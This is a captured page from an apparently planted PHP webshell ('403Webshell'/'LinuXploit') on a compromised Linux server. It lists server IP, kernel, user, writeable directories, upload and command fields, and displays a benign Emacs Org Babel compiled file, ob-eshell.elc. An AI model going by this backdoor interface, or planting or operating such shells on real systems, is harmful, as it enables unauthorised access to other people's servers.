403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/org/ob-eshell.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301!\210\300\302!\207" [require ob eshell] 2)
(defvar org-babel-default-header-args:eshell nil)
#@329 Execute a block of Eshell code BODY with PARAMS.
This function is called by `org-babel-execute-src-block'.

The BODY can be any code which allowed executed in Eshell.
Eshell allow to execute normal shell command and Elisp code.
More details please reference Eshell Info.

The PARAMS are variables assignments.

(fn BODY PARAMS)
(defalias 'org-babel-execute:eshell #[514 "\303\304\236A!\305\306!#\2039rq\210\307\310\"\211\203/\211@b\210\211c\210\311 \210A\266\202\202\210	b\210\312`\n\")\207\313\314\315\"r\211q\210\316\317\"\216\320\315\"\210\321 *\207" [eshell-last-output-end eshell-last-input-end eshell-last-output-start org-babel-eshell-initiate-session :session org-babel-expand-body:generic org-babel-variable-assignments:eshell split-string "\n" eshell-send-input buffer-substring-no-properties generate-new-buffer " *temp*" t make-closure #[0 "\301\300!\205	\302\300!\207" [V0 buffer-name kill-buffer] 2] eshell-command buffer-string] 8 (#$ . 198)])
#@93 Prepare SESSION according to the header arguments specified in PARAMS.

(fn SESSION PARAMS)
(defalias 'org-babel-prep-session:eshell #[514 "\301!\211\302!\303\304!\210\305\306\"\210)\207" [eshell-buffer-name org-babel-eshell-initiate-session org-babel-variable-assignments:eshell call-interactively eshell mapc eshell-command] 7 (#$ . 1179)])
#@49 Non-nil if Eshell SESSION exists.

(fn SESSION)
(defalias 'ob-eshell-session-live-p #[257 "\300!\207" [get-buffer] 3 (#$ . 1533)])
#@66 Initiate a session named SESSION.

(fn &optional SESSION PARAMS)
(defalias 'org-babel-eshell-initiate-session #[512 "\205!\301\230?\205!\302 \303\304\"\216\305!\204\306 \210))\210\207" [eshell-buffer-name "none" current-window-configuration make-closure #[0 "\301\300!\207" [V0 set-window-configuration] 2] ob-eshell-session-live-p eshell] 6 (#$ . 1671)])
#@92 Convert ob-eshell :var specified variables into Eshell variables assignments.

(fn PARAMS)
(defalias 'org-babel-variable-assignments:eshell #[257 "\300\301\302!\"\207" [mapcar #[257 "\300\301@A#\207" [format "(setq %s %S)"] 5 "\n\n(fn PAIR)"] org-babel--get-vars] 5 (#$ . 2044)])
#@63 Load BODY into SESSION with PARAMS.

(fn SESSION BODY PARAMS)
(defalias 'org-babel-load-session:eshell #[771 "\300 \301\302\"\216\303\"r\211q\210db\210\304!c\210)\211\262)\207" [current-window-configuration make-closure #[0 "\301\300!\207" [V0 set-window-configuration] 2] org-babel-prep-session:eshell org-babel-chomp] 7 (#$ . 2333)])
(provide 'ob-eshell)

Youez - 2016 - github.com/yon3zu
LinuXploit